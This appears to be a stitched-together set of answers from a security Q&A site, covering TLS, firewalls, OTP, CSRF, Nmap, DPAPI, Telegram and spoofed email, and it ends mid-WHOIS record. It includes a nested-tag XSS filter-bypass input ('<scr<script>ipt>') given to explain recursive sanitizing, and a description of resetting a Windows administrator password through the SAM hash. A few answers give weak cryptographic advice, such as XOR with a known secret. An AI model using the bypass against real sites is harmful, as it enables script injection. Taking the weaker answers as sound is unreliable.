Is the video/audio traffic from WebRTC TURN relay servers encrypted end-to-end? As with the applications Signal and Jitsi Meet

I have not seen the video but I believe you are  mistaken/ misunderstanding something.
Those services use a Selective Forwarding Unit (SFU).
The turn server is only used for traversing double nat-ed connections.
The SFU combines the incoming streams and re-encrypts them for transport (this is not E2E but is Encrypted at transit)
The turn servers just pass back and forth the different packages the receive from the differing participants.
A good Turn server runs I. Encrypted mode so it’s a plain TLS connection. Even without the turn server can only leak the meta data about the connection not the details of the packets themselves (they stay encrypted).
The SFU on the other hand does work on the decrypted data streams, it comes into affect with Jitsi meet when there more than 2 parties involved. They have done some test with E2E encrypted SFU’s but that added the complexity of key management and performance was also affected.


How do they determine that "It's likely that you're behind VPN or proxy" if I have my own custom VPN?

There are databases that maps IP ranges to ISPs (Examples: 1, 2, 3). From here, it wouldn't be too difficult to separate Domestic ISPs from Datacenter ISPs and to block connections from non domestic IP ranges.

Many services that are primarily intended for human consumption uses these kind of databases to separate bots/spammers, which are likely running from a data center rather than their home unlike most regular users. Most VPN services and hosting services also often run from data centers rather than domestic addresses.


What are active research topics in SSL/TLS?

The list of open TLS 1.3 issues may give you some ideas. For example:

Should SNI be encrypted to hide the server name to passive attackers? The issue states that this will complicate the handshake. Why is this the case? Maybe you can research the best way to implement this.
Can the server request a proof of work from the client to prevent DoS attacks? Should this be in TLS?
Can the handshake hashes be safely restarted? The issue states this needs "security analysis", maybe you can research that.


What are disadvantages of a reverse OTP flow, where OTP is visible on a website and is retyped on authenticated mobile client?

Your "advantage" is wrong; this doesn't make you any more secure. Instead of trying to trick the user into typing the OTP from the authenticated app into the phishing page, attackers will just try to trick the user into typing the OTP from the phishing page into the authenticated app.


What advantages and disadvantages do Palo Alto firewalls have, compared to others in the market

My experience with Palo Alto is limited so please take what I say with a grain of salt (and I'm sure people here can correct me as necessary)...

Palo Alto is a completely different firewall paradigm than Check Point, Juniper, or almost any other firewall.  A traditional firewall defines traffic flow based on source IP, destination IP, and port (or IP protocol definition, e.g. ICMP type/code).  Palo Alto defines traffic flow based on data stream content; a TCP flow over port 80 is expected to be HTTP, but it could just as easily be SSH, and in the Palo Alto world you limit connectivity based on semantic content -  you'd block that SSH even though HTTP would get through to the same device.  A Check Point or Juniper would let both through if port 80 was open.  (Yes, I believe Check Point has limited ability to enforce on application protocol if so configured, but that is a tacked-on addition to the traditional IP protocol filtering which is the core of their product.)

The weakness of such an approach is that it hinges on the ability to classify and decode traffic, which is a non-trivial problem.  Go look at any IDS' false positives for evidence of that.  Also, these days, everything can be (and is) wrapped in SSL, complicating protocol analysis.

Some people think Palo Alto does a great job; some people think it isn't good enough.  If you're going to do installations as part of your eval, you can make your own decision on that, I'd be hesitant making that decision for your network based on someone else's experience on their network, since it's a content (and context) sensitive device.

Someone with more experience with Palo Alto could probably draw really useful comparisons to proxy firewall and IDS/IDP products, so perhaps that should be part of your question.


Store a password to avoid user interaction

I think google's SMTP server supports OAuth, so you don't really have to store the password. That requires (one-time) user interaction to set up, but you'd have to ask the user to register anyway, so when you do that you can also establish OAuth link to Google.
See more in Google's help site.


In the Clark Wilson models, why can't the TPs be executed in parallel?

There's no way to execute in parallel in Clark-Wilson because there is no standardized rule for how to handle concurrent access to the same data.  This is a common problem with databases.  For example, what do you do if thread A wants to read data thread B is changing?  Reading over information on database isolation may clarify this for you.  http://en.wikipedia.org/wiki/Isolation_(database_systems) is a pretty good resource.


There is a registry key in the SAM database on Windows computers that contains the hash for each password of the local accounts.  The usb drive are bootable, so an admin could boot from that key, it will then mount the system volume, and overwrite the key for the administrator's password.  It will use a hash that matches a "blank" or "no password" for that account.


How is "" or "selselectect" used to avoid filtering?

Let's say I blacklisted the word <script> and replace it with nothing.  Then <scr<script>ipt> becomes <script>.

This is why well-written html sanitizers/purifiers apply the rules recursively.  That is only when the last sanitation step made no changes to the content will it stop/not apply another round of the processing rules.  (It also likely will fail and return no content if too many processing rounds are necessary).


Best appraoch to test inhouse firewall effectiveness

Testing if the detection is configured properly can be done by using the EICAR test virus. This virus is harmless by itself but every malware detection should be able to detect it even if it has no current signatures.

Of course this will only tell you if the firewall is properly setup at all. It gives you no information about the effectiveness of the protection, i.e. how good it protects against existing malware and how fast it will catch up with new malware. No firewall is able to offer you full protection no matter what they claim because they need to catch up with new strains of malware too. To find out how fast the vendor reacts to new attacks you can not believe marketing claims but you have to ask others who've used the products or independent researchers.

Apart from that the analysis in such firewalls (UTM, NGFW...) can often be easily bypassed. Small modifications of the traffic are usually enough to make such firewalls blind. In case of web traffic you can verify marketing claims by using my HTTP evader test site with you browser (see these details for how it works). And while I don't have a similar automated analysis tool for SMTP, POP, IMAP etc yet I've did similar research for mails which also shows easy ways for bypassing analysis.


If you have a random generated password, without a meaning (no words), then there is no way to do a successful dictionary attack.

Now with your character sets, you have 2,18340106 × 10^14, thats loads. It would take a very long time to crack based on bruteforce.

Now this tool simply tries to attack the algorithm by using a dictionary attack. It hopes that the password is a common word or a deriative (some dictionaries will contain b00k too).


Simplify usage of KeePass or equivalent password managers while preserving security

Disclosure: I work for 1Password, a competitor of KeePass. What I can tell you is that getting stuff like this to work is harder than you might think.
I will say that 1Password allows for a quick unlock (after an initial, rarer, unlock with the master password) with TouchID on Mac and Windows Hello on Windows. If KeePass doesn’t already do that, I would expect that it will soon. Linux is much trickier for a number of reasons, and honestly it has fallen behind what security mechanisms are available in the OS. So obviously I can’t speak for KeePass’s plans there.
Some of the things that you suggested (keyfile + quick code, etc) are things that we (1Password) have looked at or even experimented with. And I can say that while we rejected them, otters might choose otherwise. Instead of talking about the specific challenges to particular mechanisms, I will mention a couple of general things that need to be kept in mind.
What password manager designers need to consider

Complexity confuses users, and confused users behave less securely. This might not be as big an issue for KeePass, which tends to have highly sophisticated geeky users. But don’t under-estimate this impact. You can’t expect most users to know what a key file is or the security properties of using them.
Complexity leads to vulnerabilities. The actual inner workings of a good password manger are far more complex that it might initially appear. But complexity leads to more bugs, and it makes the security harder to properly analyze.
Forgetting master password. When we introduced various schemes to to something like this, we found that if we didn’t force people to use their full master password frequently enough that people would forget their master passwords.
No security theater. It is actually hard to design these things in a way that the short cut is fully as secure as it seems. A shorter password or PIN might seem secure enough, but an attacker who gets what is on your disk is going to crack the short ones easily. Remember that for decryption, the attacker is not rate limited by things you put in your software, as they will attack the data directly.
Be extremely wary of anything that gives people another way to get locked out of their own data.

Anyway, those are some of the things that the designers of password managers need to consider, but that is different than the question of what you can do for yourself.
Variations on IronKey
If Keepass is scriptable in unlocking (1Password is deliberately not, but Keepass may have made different decisions) then you can roll your own encrypted keyfile solution. Encrypt the master password with short password and have a script that prompts you for the short password and then unlocks Keepass with it. You still would want to keep that file on a removable device. So this is just a variant of your IronKey proposal.
In doing something like this, pay attention to the confidentiality and the authentication of the channel over which the decrypted master password is passed to Keepass. Consider whether it address the threats you face in your environment.


How to display a result of a decryption on a webpage so that malicious extensions or MiMers don't have enough time?

If the machine is untrusted then you should not give that machine any way to decrypt the data. It should simply forward the encrypted data to a trusted entity (another computer, a superhero that can do TLS in his head, etc) and let that entity decrypt it - of course you'd then have the problem of securing that entity itself.

You could use a dedicated computer only to access the sensitive data, possibly behind a hardware firewall that blocks any traffic not related to the site you want to access (to block incoming attacks or accidiental attempts to browse other sites that could be less secure and serve malware).


What are design and security considerations for a site that connects to its users' own dbs?

This sounds very risky.
You are requiring users to expose their databases to the web so your site can access them?

The risk here is on the database owner and not so much you. All you need to care about is securing credentials and that you support their connection requirements.

They need to

Ensure that only your IP can connect into their environment (Exposing their database to the web is awful)
Create a restricted privilege account for you to use
Create stored procedures for the account to limit what it can do
Monitoring for odd behavior connecting to the account
Ensuring that connections to the database only allow encrypted sessions
Have a plan in place for a breach of their data


Can a TCP connection with a VM be "escaped from" to reach the host?

Yeah, it's definitely a possibility but only if the host of the VM is having a security vulnerability and also left configured improperly.

A good example of this, is if you run backtrack in a VM and then ping the VM's IP from your PC you can reach it.

VMs can have different types of links to a router. It can be:

Physical (Another Ethernet Card or USB Wifi)
Bridged to Host (Connect via the host)
Replicating Host Connection

Depending on the exact type, the method may change but fundamentally the VM to access the internet has to be on your LAN. Now regardless whether it's on the router directly LAN or an interval LAN between the host and the VM, it still can ping you and you can ping it in normal communication.

So unless the host has a good firewall, etc that blocks these kind of connections, it can be hacked into through the VM via this common network interface in theory. Obviously, it's not very practical in terms of amount of effort to use the VM as a pivot point to find and then exploit in the host but it can be done.

Solution:

Have a firewall to monitor inter-VM traffic, etc. Don't use the same
Internet connection on the VM, using a separate say USB Internet   Modem would keep you on different networks.

In a nut shell: VMs are mostly contained and secure on their own, but it is you who connects the host and the VM on a common network, i/o device, etc. Don't do that and you'll be practically quite safe.

A good potential option is remove all non-critical components sharing from the VM and use shell access to run the VM. Chances that a program can bypass the memory limit or so is not likely, not likely at all.

Point is, anything programmable can be hacked given enough time and effort.


Apparently this traffic is coming from the Google Network:

NetRange:       74.125.0.0 - 74.125.255.255
CIDR:           74.125.0.0/16
NetName:        GOOGLE

I'd recommend to send an abuse e-mail with the logs attached to:

OrgAbuseEmail:  arin-contact@google.com

Are you running any services? Could it be a Google bot crawling you too fast? (At least for the ACK part of the logs)


What are the best Nmap Scripting Engine (NSE) service discovery scripts?

I think the whole NSE system serves to boost the signal-to-noise ratio of Nmap scans. Most scripts will avoid producing output if they have no useful information. If you're talking about vulnerability discovery, then any of the scripts in the "vuln" category will be useful. A couple points of clarification that may help you use Nmap and NSE more effectively:

Many scripts will not run properly if version detection (-sV) is not performed first. Version detection provides extra information that is used by NSE to determine whether to run a script on a particular host or port. -sV will run all the scripts in the "version" category. Scripts, even in other categories, can also update version information. The two systems are complementary.
If -sV is too verbose, consider saving your results in XML format (-oX or -oA) and using a results viewer like Zenmap, Martin Swende's onepage result viewer, or even your web browser (with XSL support) to drill down to the information you want.
Scanning all 65536 ports (yes, 0 is a valid port number!) is usually overkill, especially with version detection. If you are doing this for assurance of network state, consider setting up a periodic scan (just ports) and using Ndiff to see changes. You can choose to do a more thorough version detection scan of any new ports that show up. For general network discovery, the top 1000 ports (default) are usually plenty to check.

It's important to note that lots of scripts will not run by default, even when requesting a script scan (-sC). This can be because they require more input (via --script-args) to run (xmpp-info), or because they are not considered "safe" enough or they are too verbose or slow to run by default. An example would be ssl-enum-ciphers, which used to be very time-consuming to run. I spent some time increasing its efficiency, but it still is too "intrusive" to be in the "default" category. Reading through the NSE documentation portal (or at least searching for scripts that apply to a particular service) can yield some real gems.


How do I know that my connection is really encrypted?

Do some sort of packet capture. Depending on your level of concern and technical ability you have two relatively easy methods available.

If you have tcpdump installed just run tcpdump -A -c 200 if the output is clear text then this is a clear answer. If it is not then possibly your traffic is encrypted. (note: it could just be encoded and not encrypted, you have to verify this).

Another option is wireshark. You can do the same analysis but with a nice GUI to filter out specific traffic and follow TCP streams.

These are the tools, you will have to do a meaningful analysis to actually verify encryption.


There's a bunch of questions rolled in there. Untangling:

  Do I have to pick an asymmetric signing algorithm to create that initial public/private key pair?
  An asymmetric encryption algorithm does not work?
  I am not allowed to use DLIES or ECIES but have to use something like ECDSA or DSA/DSS?

For starters, to see what TLS cipher suites exist, I usually go look at what openssl supports: https://www.openssl.org/docs/man1.0.2/apps/ciphers.html

There's way too much in there to reproduce here, but the basic patterns as far as your question goes are:

TLS_RSA_WITH_*
TLS_[EC]DHE_RSA_WITH_*
TLS_[EC]DHE_DSS_WITH_*
TLS_[EC]DHE_ECDSA_WITH_*

So to answer 1 and 2, you don't have to pick a signing algorithm, but currently the only asymmetric encryption algorithm with wide adoption among TLS libraries is RSA.

Similar answer for 3; RSA, DSS, ECDSA are the signing algorithms that are most guaranteed to be widely supported.

You could of course write your own openssl or JSSE crypto module to provide the cipher suite TLS_ECIES_WITH_*, but you'd run into compatibility issues pretty quick if you try to use that to talk to anything other than your own software.


Store password ciphers using Powershell ? DPAPI/AES

DPAPI stores protected data encrypted with the user's DPAPI key, which is in turn encrypted with a derivative (via PBKDF2) of the NTLM password. Furthermore, the DPAPI-related key information is stored in a protected memory region within the security subsystem (LSA), making it particularly difficult to compromise the master keys outside of an administrative context.

The two primary concerns in the threat model of DPAPI are offline attacks (e.g. stolen hard-disk) or a malicious user trying to compromise the DPAPI-protected data of another user. Both of these threats are suitably protected against with DPAPI.

Your concern that DPAPI allows for easy recovery of the data is unfounded; the fact that you can recover the information is due to you being logged in as the legitimate user. Logging in as any other user would make this impossible, as would trying to recover the DPAPI-protected data from an offline disk image (unless you know the password of the user who saved the data).

Any solution you implement on your own with AES (or any other cipher) will be less secure in these regards.

That said, if your application's security model involves giving service passwords to your users in an encrypted text file, there's very little to stop them decrypting it and getting at the passwords. This sounds like a candidate for having them authenticate to the backend systems with their own individual user accounts, or having an intermediary service which the users authenticate to which can then make back-end service requests on their behalf.


Is using a flash drive as a base for security a safe thing to do?

No, your solution isn't safe, no there is no ID associated with flash drives, and yes, there is a better way to do this.

There are several hardware crypto-token devices in the same form-factor as flash drives that you can use for this purpose.

The first that comes to mind is the Yubikey. This device is generally pretty easy to integrate into existing authentication frameworks, as well as building on popular standards such as OAUTH.

Devices in this category (including this one) generally have the following features:

tamper-resistant
non-copyable
able to utilize public-key crypto with an undisclosed private key
able to behave as a USB keyboard to interface with legacy applications (i.e. outputting a secure password)


There are two possibles paths an attacker has to explore here:

Can anything be done with the paths that does not require authentication?
Can I somehow get my hands on the token?

Lets look at #1, and the two paths. If the /reset-password path just sends an email to the account owner, it isn't of much use.

The other, /login, is more problematic. If you also set Access-Control-Allow-Credentials: true evil.com could "force" a login (by having the token cookie set). This opens you up to login CSRF, which can be anything from not a big deal to very bad depending on your application. If you don't set that header, the cookies in the response will be discarded and you're fine.

As for #2, it depends on if that token is available anywhere else than in the cookie. The sender of cross origin requests is never allowed to read cookies, so it can't read the token from there. But maybe it is included somewhere else? Perhaps the response contains some URL with the authtoken param in it?

Not that if the cookie itself was used as authentication when sent from the client, this would be a different story. Then you could indeed have a huge problem here.

CSRF aside, putting secrets in the URL is discouraged. After all, URLs ends up in all sorts of logs, not to mention browser history. If there is no reason not to, I would just put the token in a header instead. The header would actually help protect against CSRF as well, since evil.com wouldn't be allowed to set it.


When data crosses from one "system" to another, draw a trust boundary line.  This would certainly be anyplace where data traverses a network interface, or passes between two processes.

Data entering from across a trust boundary indicates every place where the receiving systems need to validate the inbound data.  Data crossing a trust boundary also means that you have identified a place where you should examine the security of the data.  It doesn't mean you must encrypt or that you must authenticate, but as you analyze the connection for vulnerabilities, you may discover that encryption and/or authentication remediates the issues.


Is there any ability to determine the exploit used by compiled binary?

Based on further discussion with the OP, the answer to this question is that there isn't enough information to determine the exploit this payload was used in.

The best bet would be to forensically image the machine that it was used on (if available) and perform a complete analysis of the device including generation of timelines which should be reviewed for correlations regarding the appearance of the binary.

Secondary methods include scanning the system it was used on for vulnerabilities and trying to identify which exploits could have been used on this system. Narrowing it down from there. Much less reliable than the former.


What is the actual drawback of "CheckHostIP no"?

CheckHostIP no means that ssh does not check the host IP address in the known_hosts file. So only if CheckHostIP is set to no a DNS server can return a different IP address as written in the known_hosts file without a warning of the ssh client.

For example an entry in a (unhashed) known_hosts file could be:

www.example.org,1.2.3.4 ssh-rsa AAAA...njvPw==

If CheckHostIP is set to no a DNS server can return an different IP as 1.2.3.4 as address for www.example.org. But the SSH key is still checked. CheckHostIP no means only to expect that the IP is variable and to let key-checking against the hostname.

Therefore if (1) CheckHostIP is set to no and (2) an attacker can control the DNS and (3) has your private key he can setup a server which will first appear like the original one. That can be bad for confidentiality. Think about a backup server. But already if the preconditions 2+3 are met a attacker is able to compromise your system. With  CheckHostIP no only more further attacks are possible.


Does having these ports open indicate any vulnerabilities?

There are some false assumptions here that you need to deal with before you can get any meaningful answer:

"Open ports are vulnerabilities." False. An open port is simply an address. It tells your operating system how to deliver network traffic to a program. The program may have vulnerabilities, but you can't tell that by just looking at its address.
"Scanning localhost shows what ports are open to the network." Nope. Your operating system has multiple IP addresses configured, and localhost refers to a special one that is not accessible from the network. A program can listen on a port that is bound to "any address" (the most common case) or it can choose an address to use. If it uses the localhost address, then it can only be accessed from within that computer. This is commonly done with SMTP and printer-related ports (like 631/tcp).
"Running Nmap will tell me what ports are open." Look at the output: Not shown: 997 closed ports. That means that Nmap only scanned 1000 TCP ports. That's the default, and it will catch the majority of network services, but it's not comprehensive. There are 65535 valid TCP ports, plus UDP and a small number of less-popular transports that use the "port" idea. Unless you suspect you are infected with a rootkit, it is nearly always better to use netstat, ss, or lsof to show listening ports on your own computer. These programs query the operating system directly, finish quickly, and can show all listening services, including information about the process that is using each port. Nmap is most useful for probing computers from the outside and building a complete picture of exposure.


Should a secure boot process be aware of the peripherals/hardware?

No. Secure boot is intended of providing a chain of trust for the software path.
So for example, if you boot a CD, the secure boot will verify the CD is signed.

But if you boot from a harddrive, theres no need to check if the CD is "trusted" because the CD contents is not involved in the boot process.

When the BIOS has handed over the booting process to the signed first stage bootloader (MBR) on the harddrive, its the first stage bootloader's responsibility to verify the second stage loader, that its signed.
And so on, the second stage will then verify kernels and boot drivers are signed, and when main OS boot up, the main OS will then verify other components.

If added hardware causes the computer to select another boot path, for example a added PCIe drive or similiar, and this boot path contains data that fail signature validation, of course secure boot will fail.

Added hardware such as keyboard or such, kan be prevented by setting up policies in main OS. Since no key input is accepted until the main OS is started anyways, the computer will be secure.
The only exception is the BIOS prompt, but that can be protected with a password.


Can an end-entity certificate with SHA-1 be issued by an intermediate CA that has SHA-256?

Yes it can. The algorithm used for signing a certificate by the issuer is independent from the algorithm which was used to sign the issuers certificate itself.


OpenSSL 0.9.6a PRNG algorithm weakness: How to exploit?

From the security advisory that you posted, it appears to me that the design error can be summarised as

The PRNG is a hash function. the input to the PRNG(hash function), half of it is from the previous PRNG output, which is known, you can just read it off the previous output. So essentially the hash-function SHA-1's strength becomes halved - 80 bits instead of 160 bits.

So if the OpenSSL's libray is used in key generation, you may perform a brute force attack on the remaining 80 bits key. It is definitely a big vulnerability and breakable by today's processing power standard. But it is still a huge task.


Instrumentation vs virtual machine introspection

The terminology is slippery and not completely stabilized; however, we can say that, usually, "code instrumentation" relates to modifications of some target code so that monitoring tools (or other kind of automatic management tools) can be applied on it; this does not necessarily involve a virtual machine. With a virtual machine, on the other hand, the code to inspect and monitor is unmodified and unaware of the fact that it is monitored.

For instance, if you compile C code with GCC, you can "profile" it (performance monitoring at the granularity of individual functions) with the -pg command-line flag: this flag instructs GCC to add extra instructions in the binary which record function entry and exit, for each function. This is instrumentation. It does not need any kind of virtual machine.

To make a metaphor, virtual machine introspection is like a zoologist crouched on a rocky hilltop, with powerful binoculars, observing from afar a lion stalking a herd of zebras. Instrumentation is more like the lion being sedated, strapped on an examination table, and the zoologist forcing an endoscope in its throat. Not the same activity, not the same goals, not the same kind of harvested data; and instrumentation is a bit more "invasive".


When to model a concept via object vs taxonomy vs galaxy in MISP?

The following decision process can be used to select how to model an attribute of an event via MISP.

If you can model a property of your event using a MISP default attribute, use one of those.
If the property requires multiple attributes to describe it (or you need to model relationships between attributes), use an object to group those attributes together.
If the property is a binary value (the event either has the property or it doesn't), use a tag. Try to select an existing value from an existing taxonomy.
If the property is a binary value but needs more more metadata associated with it than a normal tag can support, use a galaxy cluster.

The distinction between 3 and 4 (taxonomy and galaxy) is supported by the responses to this question.


If someone has a video recorded for 1 minute and then deleted immediately on Android phone, can it be leaked to the internet?

Potentially, yes it is possible that any data on a connected device has been sent to a 3rd party. any device can be compromised to do things that its owner does not wish it to do (like send data or store deleted data).

Has it happened to you? I very much doubt it.


How to check if your computer has a backdoor installed on it?

Considering you have been downloading torrents there is a chance that you downloaded some malicious code (which was spotted by your MBAM) through the torrent network.

vmware-hostd.exe is a process used to share virtual machines over the network. It's quite possible that the a scanner was running on the listed remote IP (the IP address is one from China) and that it picked up the VMWare service and tried to log in several times or do something malicious with it (which MBAM picked up and blocked).

If you are directly connected with your computer to the internet I would suggest running your services on non-standard ports, this will reduce the internet background noise. This means that I doubt you are specifically being targeted but more a victim of scanners which scan the whole internet in the hopes of finding an exploitable machine.

EDIT

After a chat on the DMZ it was confirmed that the host is running a machine with a public IP address.


Prevent hacking with known IP address and router information on Ubuntu 14.04 LTS

Your MAC and IP address don't help an attacker at all unless they're combined with open ports on your router, and vulnerable listening services on your machine. It's much more likely that it's a password re-use issue or similar. Did you change your machine password and Wi-Fi password? If he knows where you live and knows your WiFi password he can just sit outside and inject payloads into all your internet traffic.


Google's Mobile Authentication for REST APIs

The security of this solution depends on the security of two elements:

The connection: If you're using SSL then the problems linked to connection security are well understood (if not always easy to evaluate): client-side root store quality, proper key exchange, use of secure protocols, etc.
The token itself. First, it needs to be generated in a way that makes it difficult to guess and impossible to reuse. It also needs to be protected while on the client system (this is more of a problem in a web application than on a dedicated client but needs to be mentionned).

Assuming that both aspects of the problem are properly handled, then yes, such an implementation is pretty secure.


Would adding `--data-string` to a UDP scan change the results?

Would attaching my token with --data-string change how services respond, or even crash?

Basically you ask if

a different payload might lead to a different reaction of the service
especially if the payload is not conforming to the application protocol expected by the service
and if the service might crash as a result of such broken payload

Of course it does. Some services will simply drop invalid payload (i.e. no response), some badly written services might even crash on broken payload.


Use Client Certificate using Self Signed CA while using Web Certificate of a publicly trusted CA

The server certificate is sent by the server, to be validated by the client. The client certificate is sent by the client, to be validated by the server. They live in different worlds and have no need whatsoever to relate to the same certificate authority.

For client certificate validation with Apache, see this documentation. The server will need to validate the client certificate with regards to some trusted CA; you use SSLCACertificateFile or SSLCACertificatePath to configure these CA. It is possible to put a specific client certificate there directly, too (that's called "direct trust"). You will probably want to add a SSLRequire clause: validating a certificate is well and jolly, but often you want to grant access to a specific client, as in "human user", not just to anybody who could obtain a certificate from a given CA. The certificate, once validated, gives you some strong guarantee that the client's identity is really the one specified in the certificate, but it is still up to you to device whether a specific identity is to be accepted or not; and SSLRequire is the main tool for configure that.


2017-11-01 update: MIT Security analysis of Telegram finds it to be insecure.

Quote from the following paper ...”our survey shows that Telegram has had serious and simple issues in the protocol (e.g. modified buggy Diffie-Hellman key exchange) that any knowledgeable security expert could penetrate.”

https://courses.csail.mit.edu/6.857/2017/project/19.pdf

They also end their paper with a well-worded statement about the Telegram:

“Finally, our conclusion is that Telegram, just like any other application has vulnerabilities. Users have to be aware of this fact, but unfortunately the claims by companies make non-tech-savvy users to believe that their messages are unreadable by third parties.”

Previous update with interesting input: Snowden doubts security of Telegram
https://www.rt.com/news/326565-snowden-durov-security-telegram/
Snowden has a great point here. Why should the server ever have access to the message in cleartext stored or not.

Lots of questions here:

Secure in transit ?  Nothing is perfect but the use of a non-standard implementation increases the risk for human errors and probably increases the attack surface. Note: The use of Diffie-Hellman protocol does not mean the implementation of data in transit is secure at all. I could use DH for supposed key generation then promptly ignore the results and use Rot-13 or some other broken encryption scheme for data in transit.

You need to evaluate the system as a whole to determine the strength of the combined controls.  Just looking at one part and saying since that's secure the whole thing is secure is a flawed statement at best.

Secure from anyone who has access to the phone or mobile devices operating system ? No, the types of security controls needed are not present on modern mobile operating systems.

Does Telegram use DH or homebrew ? It's not either/or the answer is both.

It appears they are still using, and defending, their home grown implementation. Note: I'm not saying this is a bad thing, progress is made by change, but it's notable that there is no third-party validation of their process on their website. To me this is a ripe situation for the statements on a website to be "technically true" but not painting the whole picture. They claim that messages are safe from "hacker attacks" and in one sense that may be true but is that the only scenario you are concerned about ? Do they answer the question related to the threats you are concerned about ? If not, why not ? Is this safe for people living in countries with repressive governments that do heavy monitoring of communications ? That's a different question entirely and one which they don't address.

https://core.telegram.org/techfaq

Personally I'd be curious about their key handling and it's implementation more than anything. Other questions I'd investigate are :
Could they share keys with service providers and governments without the end users knowledge ? (I know they say they don't but could they ?) How do they comply with warrants ? Have they ever publicly complied with a warrant for such information ? Do employee monitoring systems offer support to decrypt Telegram communications yet ?

Ultimately security is somewhat relative and I think for most people their solution probably works well.


Preventing users abusing emailing feature of web application

There are a few things you can try to help prevent malicious actors from abusing your service:

Require a CAPTCHA: This should help cut down on bots abusing your services.
Limit usage of this feature by IP address & time: Don't let a single IP send large amount of mail within a short period of time (keep in mind that you may have multiple users behind NAT though).
Consider limiting the "from" address to verified email adresses: You can have each user register and verify each email address he wants to appear in the from "field." Limit the number of email adresses a user can register for this purpose.

These steps are not foolproof though. An attacker with multiple IPs (a botnet for example), very good OCR software (or a human CAPTCHA breaking service), and disposable email addresses can still get around this.

It is also possible that even without a botnet, a single attacker with a list of honeypot email addresses may still be able to get you on some blacklists (I don't know the thresholds for the various blacklist services).

You should also be sure to have an optout (unsubscribe) link on all emails sent by this service, so people who don't want to get emails from your service can stop them from coming.


securely storing passwords that can be retrieved

In general, storing passwords in a reversible format is a bad idea.

That said, you could use AES, with the user's password as key (enforce a strong password policy). That way, users wouldn't be able to view each other's encrypted data, and a compromise of the server won't reveal the key to everyone's data without cracking the user password hashes first.

EDIT:
This only applies if your app has some sort of user authentication. If you just have an app that someone can upload data to, then it won't be secure. A SQLi attack won't get the key if you keep it outside of the DB schema, but a full compromise of the box will allow an attacker to find and use the key.


How to block proxy servers to access HTTPS based sites

What are you trying to protect?

If some vulnerability then use modsecurity to migrate it and use  IP black lists like
https://github.com/mlsecproject/combine/wiki/Threat-Intelligence-Feeds-Gathered-by-Combine
and block Tor exit nodes.

If you want to block just some countries then to use http-x-forwarded-for  place the filter under web server or HAProxy that does ssl termination.

Other more complex solution is:

Grab the IP
Ask Shodan API for it (https://developer.shodan.io/)
If there are any random ports opened on the IP black list it

Note: One or two inital requests still won't be blocked but ones
it's in black list it's bullet prove if you block it on iptables level.

Example:
https://www.shodan.io/host/5.148.154.53

This ip has proxy listening to port 8080 this is an public one.
I tested it with one private I have and still you see open ports.

That can be done just by one python script as normal users won't have
any open ports for hosted services.

Just take care not to ban google bots, use this guide:
https://support.google.com/webmasters/answer/80553?hl=en&vid=0-292822248820-1519233445180


Why does a 20-character key make WPA Personal more secure?

The WPA2-Personal password is run through an algorithm that is used to scramble the internet traffic being broadcast in radio waves. This is a process known as encryption. Anyone who knows that password can run the scrambled data through the encryption algorithm in reverse to de-scramble it. Although a human might be able to try a new password once every few seconds, a computer could guess possibly millions of passwords per second. More characters in your key makes it less likely that a computer could guess your password in any reasonable amount of time.
If someone manages to guess your password, either manually or with the help of a computer, they might be able to monitor things you do online for as long as they are in range of your Wi-Fi connection. They may steal passwords or bank details, or insert malicious scripts into websites you visit.


How does malware protect its own malicious code from being exposed?

I think the easiest way to answer your question is that most malware is coded using Polymorphic Code and the majority of Anti-Virus still uses signature based detection.

The reality is that a good chunk of the population does not keep their software up-to-date which means the original attack vector could potentially be re-exploited with a different payload. A lot of people put a lot of thought and effort into prevention, however not many put it into detection so once a box has been owned there's usually an avenue to re-exploit.


What *exactly* does it mean to detonate malware?

"Detonating malware" means that the marketing team behind the product you are reading about realized that they need to figure out new catchy terms to get your attention. After hours of creative meetings they came up with the (wrong) malware-explosive analogy and decided to use the word "detonation" to describe a random event of the overly simplified scenario sketched up on their whiteboard.


UUIDs are just large integers written in a particular format. There are libraries that convert to and fro UUIDs, or you can check out answers such as this.

Once you have the integer, you can employ AES, or some reversible scheme such as a Feistel network or, if the user has no way of ever recovering the decrypted information, a simple XOR with a known secret.


How can reverse proxies be used to bypass acceptable use policies of a company?

Detect It

Regardless of either a forward or reverse proxy analysis of the network traffic with something like Wireshark will allow you to detect it, which is the first step to preventing it.

Proxies designed to bypass filtering or access control will exhibit these types of behaviours as to bots and generally anything trying to hide it’s true purpose:

Long URLs with web site names in them either in the front http://www.google.com.proxy.com/ or trailing like http://proxy.com/http/www.google.com/
SSL/TLS tunnelling
Connections to IP addresses instead of DNS host names
Connections to where the HTTP request Host: header does not match the host name
Non-HTTP connections out on HTTP ports
Connections to TCP/UDP port over 1023

This obviously could include a lot of legitimate traffic however knowing what type of traffic currently goes in and out your network will allow you to detect any anomalies.

Prevent It

Assuming you are starting from no control on your network I would look to build up the following in to enforce strict compliance:

Develop a corporate Managed Operating Environment (MOE) – know what software is installed on your clients/servers, enforce removal of software that is unknown or not permitted.
Use a firewall with good logging and filtering capability on edge network and try to put choke points in so to minimize where you have to look.

Tune firewall rules and logging.
Only log what you need to prevent overload of data that you can’t possibly review.
Use a whitelisting approach. i.e. Block everything coming in and going out by default and allow only known approved  traffic.

Use proxy servers for granular HTTP/HTTPS control.

Choose one that supports category based filtering (which is a dictionary and sometimes other smarts to categorise URLs, they often have a category just to block know anonymising proxies).
Proxy servers can implement SSL interception for blocking tunnelling applications (some legitimate application use this).
Block non-HTTP traffic over HTTP ports.
Block HTTP/HTTPS traffic directed to IP addresses instead of DNS host names.
Regularly review reports on the web traffic, look for suspect host names and uncategorised websites.

Implement an intrusion prevention system

While you might find you are unable to do all of these, any will definitely help.

Hope that helps.


How do I find where a spoofed e-mail was sent from using bounce-backs in postfix?

EDIT: Adding TLDR:

Point 3 is probably not correct, its correct that it states helo to the server, and it is spam, but there is no guarantee it originated at the ip you have. 37.139.21.195 is digital ocean, a well known vps host. This is probably relayed through all kinds of trash. Mail servers do not care who you identify (helo) as or what the contents of the message are, there is no verification of this information.

also scroll to the bottom and follow the link to a hilarious dramatization of a mail server to get a better idea of how this exactly happens. Its worth it.

ORIGINAL:

There isn't really a reliable way to do this. the transactions between mail servers is completely indicative. But why not, lets take a look to see what we can find out from the information. sometimes people mess up so hard by giving correct information. but most of the time all of the info is either useless or fake. but what the hell, its always fun to practice tracking :)

sconline.com, if we look at this we find alot of relations to russia. but then we get a whois, find the ip and nslookup that:

Domain Name: sconline.com
Registry Domain ID: 131697708_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.ename.com
Registrar URL: http://www.ename.net
Updated Date: 2016-03-10T07:28:28Z
Creation Date: 2004-10-03T18:23:32Z
